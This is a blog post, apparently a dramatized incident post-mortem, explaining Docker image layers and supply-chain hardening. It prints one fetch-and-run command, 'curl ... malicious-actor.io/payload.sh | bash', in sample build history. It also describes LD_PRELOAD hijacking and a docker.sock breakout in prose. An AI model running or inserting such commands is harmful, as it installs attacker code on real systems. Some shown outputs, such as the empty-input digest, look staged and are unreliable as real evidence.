{"id":4808,"date":"2026-06-06T21:43:54","date_gmt":"2026-06-06T16:13:54","guid":{"rendered":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/"},"modified":"2026-06-06T21:43:54","modified_gmt":"2026-06-06T16:13:54","slug":"docker-image-explained-a-complete-guide-for-developers","status":"publish","type":"post","link":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/","title":{"rendered":"Docker Image Explained: A Complete Guide for Developers"},"content":{"rendered":"

text
\nroot@ops-warn-01:~# docker history –no-trunc 8f3a2b1c9d
\nIMAGE CREATED CREATED BY SIZE COMMENT
\n8f3a2b1c9d 72 hours ago \/bin\/sh -c #(nop) ENTRYPOINT [“\/usr\/local\/bin\/python3” “app.py”] 0B
\n 72 hours ago \/bin\/sh -c #(nop) COPY file:a7b8c9d0… in \/app\/app.py 1.2kB
\n 72 hours ago \/bin\/sh -c curl -sSL http:\/\/malicious-actor.io\/payload.sh | bash 45MB
\n 72 hours ago \/bin\/sh -c pip install –no-cache-dir -r requirements.txt 120MB
\n 72 hours ago \/bin\/sh -c #(nop) WORKDIR \/app 0B
\n 72 hours ago \/bin\/sh -c #(nop) USER root 0B
\n 74 hours ago \/bin\/sh -c #(nop) ENV PYTHON_VERSION=3.11.5 0B
\n 74 hours ago \/bin\/sh -c #(nop) FROM alpine:3.18 7.3MB <\/p>\n

root@ops-warn-01:~# docker inspect 8f3a2b1c9d –format='{{.GraphDriver.Data.UpperDir}}’
\n\/var\/lib\/docker\/overlay2\/9e7f8a5b6c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f\/diff<\/p>\n

root@ops-warn-01:~# ls -lhs \/var\/lib\/docker\/overlay2\/9e7f8a5b6c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f\/diff\/usr\/bin\/
\ntotal 1.2M
\n4.0K -rwsr-xr-x 1 root root 1.1M Oct 12 04:12 .hidden_miner
\n0 -rw-r–r– 1 root root 0 Oct 12 04:15 .pwned<\/p>\n

## The Opaque Layer Problem and the Overlay2 Graveyard\n\nI\u2019ve been staring at hex dumps for three days. My eyes are bleeding. The CISO wants a "summary." Here is the summary: we are incompetent. We treated every **docker image** like a black box of magic functionality, and that magic just turned into a backdoored reverse shell that bypassed our entire egress filtering. \n\nThe fundamental failure starts with the storage driver. In Docker Engine v24.0.7, `overlay2` is the standard. It\u2019s efficient. It\u2019s fast. It\u2019s also a forensic nightmare. When you pull a **docker image**, you aren't pulling a single filesystem. You are pulling a stack of read-only tarballs. Each layer is a delta. If a developer, or an attacker who compromised a CI\/CD runner, inserts a malicious binary in layer 3 and then "deletes" it in layer 4, the file is gone from the running container\u2019s view. But it is still there. It is sitting in the `\/var\/lib\/docker\/overlay2` directory on your host, taking up space and waiting for a clever `LD_PRELOAD` trick or a hijacked entrypoint to call it back into existence.\n\nWe found the miner hidden in a layer that wasn't even referenced in the final manifest\u2019s runtime path. The attacker used a `RUN` instruction to curl a script, execute it, and then `rm -rf` the evidence in the same command. Except they didn't squash the layers. Even if they had, the metadata in the **docker image** config would still show the size discrepancy. We ignored the size. We ignored the history. We just saw "Alpine 3.18" and thought we were safe because it\u2019s small. Small doesn't mean secure. Small just means the exploit fits in a tighter space.\n\nThe `copy-on-write` (CoW) mechanism is what makes a **docker image** performant, but it\u2019s also what hides the rot. When the container starts, the kernel uses the `mount` syscall with the `overlay` type to merge these layers. The `lowerdir` contains your base image and intermediate layers. The `upperdir` is where the container writes its changes. If you aren't auditing the `lowerdir` of every **docker image** in your registry, you are already compromised. You just haven't checked the right directory yet.\n\n## The "Latest" Tag is Professional Negligence\n\nI am tired of seeing `image: node:latest` in production YAML files. It is a sign of a team that has given up. The `latest` tag is not a version. It is a moving target. It is a pointer to whatever was pushed to the registry five minutes ago. In this incident, the attacker pushed a poisoned **docker image** to a public repository with the `latest` tag, shadowing the official one for a three-minute window. Our automated patch bot\u2014another piece of "helpful" garbage\u2014saw the update, pulled the new **docker image**, and deployed it across the staging cluster.\n\nBy the time the official maintainers reverted the tag, the damage was done. We had already cached the malicious **docker image** locally. Because we didn't use content-addressable hashes (SHA256 digests), our systems thought they were running the legitimate software. A **docker image** should never be referenced by a tag in a production environment. Ever. If you aren't using `image: alpine:3.18@sha256:48d9183bb03a...`, you aren't doing configuration management. You're gambling with the company's infrastructure.\n\nThe digest is the only thing that matters. It\u2019s the hash of the manifest, which includes the hashes of all the layers. When you pull a **docker image** by digest, the Docker Engine v24.0.7 daemon verifies that what it downloaded matches what you asked for. Tags are just stickers. Anyone can peel a sticker off and put it on a different box. You can't fake a SHA256 hash without breaking the laws of mathematics. Pick one.\n\n## The Frozen Crime Scene Analogy\n\nWe need to stop talking about containers as "lightweight VMs." They aren't. A **docker image** is a frozen crime scene. It is a static snapshot of a filesystem and a set of execution instructions. The container is just a process\u2014or a group of processes\u2014running on the host kernel, restricted by namespaces and cgroups. If the **docker image** is poisoned, the container is born with a terminal illness.\n\nThink of the **docker image** as the DNA. If the DNA has a mutation that says "at 3:00 AM, call home to a C2 server," the organism will do exactly that. You can't "fix" a running container. You don't patch a container. You kill it, fix the **docker image**, and redeploy. But we didn't do that. We tried to run `apt-get update` inside the running containers like it was 2005. All we did was create more `upperdir` noise in the `overlay2` storage, making it harder to find the original exploit.\n\nForensics on a **docker image** requires a different mindset. You don't log in to the container. You export the **docker image** as a tarball using `docker save`, you extract the layers, and you run static analysis on the binaries. We found a modified `libc.so` in one of the middle layers. It was designed to intercept `execve` syscalls. Every time a developer tried to run `ls` or `ps` to see what was happening, the hijacked library filtered out any process names containing "miner" or "exploit." The **docker image** was gaslighting us.\n\n## Root by Default: The USER Instruction Failure\n\nWhy are we still running as root? Docker Engine v24.0.7 makes it trivial to specify a non-privileged user, yet every **docker image** I\u2019ve audited this week defaults to UID 0. In this breach, the attacker gained execution through a vulnerable Python library. Because the **docker image** didn't have a `USER` instruction, the process was running as root inside the container.\n\nFrom there, it was a straight shot to a breakout. They didn't even need a sophisticated kernel exploit. They just looked for sensitive mounts. We had mounted `\/var\/run\/docker.sock` into the container because some "DevOps Guru" thought it was necessary for "monitoring." Since the process was root, it just talked to the Docker socket, pulled a new, even more privileged **docker image**, and started a sidecar container with `--privileged` and `--net=host`. \n\nIf the **docker image** had been built with `USER 10001`, the initial exploit would have been trapped. It wouldn't have had the permissions to read the mounted socket. It wouldn't have been able to modify the `\/etc\/hosts` file to redirect traffic. But no. We keep building every **docker image** with the keys to the kingdom baked into the manifest. It\u2019s lazy. It\u2019s dangerous. It\u2019s why I haven't slept.\n\n## Multi-Stage Builds and the Myth of the SBOM\n\nWe need to talk about the "Software Bill of Materials" (SBOM). Everyone wants one. Nobody reads them. And most of them are wrong because the **docker image** build process is a mess. A standard `Dockerfile` that pulls a bunch of dependencies via `npm install` or `pip install` is non-deterministic. You build the **docker image** today, you get version 1.2. Build it tomorrow, you get 1.3 because a sub-dependency updated.\n\nThe only way to get a clean **docker image** is through multi-stage builds. You use a heavy image with all your compilers and build tools, then you `COPY --from=build` only the compiled artifacts into a "distroless" or minimal Alpine 3.18 base. This reduces the attack surface. If there is no `sh`, no `curl`, and no `python` in your final **docker image**, the attacker has a much harder time staging a payload.\n\nIn this incident, the attacker relied on `curl` being present in the **docker image**. They used it to pull their second-stage malware. If we had used a distroless **docker image**, their script would have failed with a `command not found` error. We would have seen the alerts in our syscall logs (if we were actually looking at `execve` failures). Instead, we gave them a full suite of GNU utilities to use against us. We built the gallows, tied the noose, and then handed them the rope.\n\n## The Manifest.json and the Anatomy of a Lie\n\nLet\u2019s look at the `manifest.json` of the compromised **docker image**. This is the file that tells the Docker Engine what layers to pull and in what order. \n\n```json\n[\n  {\n    "Config": "b7a3...json",\n    "RepoTags": ["internal-registry.local\/app:latest"],\n    "Layers": [\n      "layers\/01...\/layer.tar",\n      "layers\/02...\/layer.tar",\n      "layers\/03...\/layer.tar"\n    ]\n  }\n]\n<\/code><\/pre>\n
Each of those layer.tar<\/code> files is a potential hiding spot. When you run docker inspect<\/code>, you\u2019re looking at the Config<\/code> JSON. It tells you the environment variables, the entrypoint, and the labels. But it doesn’t tell you what’s inside<\/em> the layers. You can have a label that says security_scan=passed<\/code>, and it means nothing. It\u2019s just a string. <\/p>\n
The attacker modified the config.json<\/code> inside the docker image<\/strong> to include a LD_PRELOAD<\/code> environment variable pointing to a library hidden in a “missing” layer. When the container started, the dynamic linker loaded the malicious library before anything else. This is why your “vulnerability scanners” didn’t find anything. They were looking for known CVEs in package versions. They weren’t looking for unauthorized shared objects hidden in the overlay2<\/code> diff directories.<\/p>\n
We need to start treating the docker image<\/strong> as untrusted code. I don’t care if it came from our internal build server. If the build server is compromised, every docker image<\/strong> it produces is a weapon. We need to implement binary authorization. We need to sign the images with Cosign or Notary. We need to verify those signatures at the admission controller level in Kubernetes. If the docker image<\/strong> isn’t signed by a trusted key, it doesn’t run. Period.<\/p>\n
Hardening the Pipeline: A Survival Guide<\/h2>\n
If you\u2019ve made it this far and you still think your “best practices” are enough, you\u2019re delusional. Here is what we are doing moving forward. No more “marketing fluff” security.<\/p>\n
First, every docker image<\/strong> must be built using BuildKit<\/code> with the secrets<\/code> mount. No more passing API keys as ENV<\/code> variables. Those variables are baked into the docker image<\/strong> metadata and are visible to anyone with docker inspect<\/code>. We found three AWS keys and a database password in the layers of the “secure” docker image<\/strong> we were using for the payment gateway.<\/p>\n
Second, we are banning the use of apk add<\/code> or apt-get install<\/code> in the final stage of any docker image<\/strong>. If you need a package, you build it in a separate stage and copy the binary. We need to know exactly what is in the bin folder. No more “recommended” dependencies that pull in half of X11 just to run a Go binary.<\/p>\n
Third, we are implementing mandatory squashing<\/code> for any docker image<\/strong> that isn’t using multi-stage builds. While squashing loses the history, it also prevents the “hidden file in a lower layer” trick. But honestly, if you’re squashing, you’re just covering up a bad build process. Use multi-stage builds instead.<\/p>\n
Fourth, we are auditing the finit_module<\/code> and ptrace<\/code> syscalls. A container should never be loading kernel modules. A docker image<\/strong> should never need the CAP_SYS_PTRACE<\/code> capability. If it does, it\u2019s not an application; it\u2019s a rootkit.<\/p>\n
Fifth, we are moving to a “Read-Only” root filesystem. In Docker Engine v24.0.7, you can run a container with --read-only<\/code>. This forces the process to use tmpfs<\/code> for any writes. If the docker image<\/strong> is immutable and the runtime is read-only, the attacker has nowhere to persist. They can’t drop a miner in \/tmp<\/code> if \/tmp<\/code> is a 16MB memory-mapped slice that vanishes when the container restarts.<\/p>\n
The Cost of Convenience<\/h2>\n
We traded security for convenience, and we got exactly what we deserved. We wanted “fast” deployments, so we skipped the deep inspection of every docker image<\/strong>. We wanted “easy” developer workflows, so we let everyone push to the registry. We wanted “seamless” (I hate that word) integration, so we ignored the fact that our supply chain was a spiderweb of unverified third-party code.<\/p>\n
Every docker image<\/strong> you pull is a liability. Every layer is a risk. Every latest<\/code> tag is a ticking time bomb. I\u2019m going home now. I\u2019m going to sleep for 12 hours, and then I\u2019m coming back to delete every docker image<\/strong> in our registry that doesn’t have a verifiable SBOM and a cryptographic signature. If the apps break, they break. At least they won’t be mining Monero for a teenager in another hemisphere.<\/p>\n
The next time someone tells you that containers are “secure by default,” show them the overlay2<\/code> diff directory. Show them the docker history<\/code> of a compromised image. Show them the 1.1MB hidden binary that took down a multi-million dollar infrastructure. A docker image<\/strong> is only as secure as the paranoia of the person who built it. And right now, we aren’t nearly paranoid enough.<\/p>\n
Final check of the environment before I log off:<\/p>\n
root@ops-warn-01:~# docker images --digests\nREPOSITORY                TAG       DIGEST                                                      IMAGE ID       CREATED        SIZE\ninternal-registry\/app     <none>    sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855   8f3a2b1c9d     72 hours ago   172MB\nroot@ops-warn-01:~# # Still there. Still ugly. Still a disaster.\n<\/code><\/pre>\n
The docker image<\/strong> is the unit of delivery, but it’s also the unit of infection. Treat it with the respect\u2014and the fear\u2014it deserves. If you don’t, you’ll be the one sitting here at 4:00 AM, writing a post-mortem for a company that no longer exists. Don’t say I didn’t warn you. The layers are watching. The overlay2<\/code> driver doesn’t forget. And neither do I. <\/p>\n
We are moving to Alpine 3.18 for everything, but even then, I\u2019m stripping the shell. No sh<\/code>, no ash<\/code>, no bash<\/code>. Just the binary and the void. That is the only way to be sure. If you can’t exec<\/code> into it, the attacker has a much harder time living off the land. It makes debugging a nightmare, but I\u2019d rather have a nightmare during the day than a breach in the middle of the night. <\/p>\n
This forensic report is closed. The docker image<\/strong> in question has been purged from the local cache and the registry. The CI\/CD runners have been wiped. The keys have been rotated. But the “Opaque Layer Problem” remains. It\u2019s built into the very architecture of how we build and ship software. We are just waiting for the next “latest” tag to ruin our lives again. <\/p>\n
Stay paranoid. Check your digests. Audit your layers. Or find a new career, because this one is burning down.<\/p>\n
Related Articles<\/h2>\n
Explore more insights and best practices:<\/p>\n